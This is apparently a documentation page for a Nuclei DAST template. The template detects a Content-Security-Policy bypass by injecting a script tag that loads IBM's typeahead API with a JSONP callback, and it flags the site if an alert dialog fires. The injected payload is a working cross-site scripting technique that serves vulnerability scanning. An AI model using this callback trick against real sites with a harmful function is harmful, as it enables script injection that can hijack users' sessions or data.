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Content-Security-Policy Bypass - IBM API

ID: ibm-api-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,ibm-api

id: ibm-api-csp-bypass
info:
name: Content-Security-Policy Bypass - IBM API
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,ibm-api
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "ibm.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: ibm_api_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://www-api.ibm.com/search/typeahead/v1?lang=en&cc=us&query=l&callback=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "ibm_api_csp_xss == true"
# digest: 4b0a00483046022100ec673f51ccbeb1434845da88cec7345a71da57b4ad108df0dd41049ac02bf4cc022100c6d754dfac0a5e18b2c7e32994dc2df67dc1da27fbf9799de63b5db7a46c4558:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/ibm-api-csp-bypass.yaml"

View on Github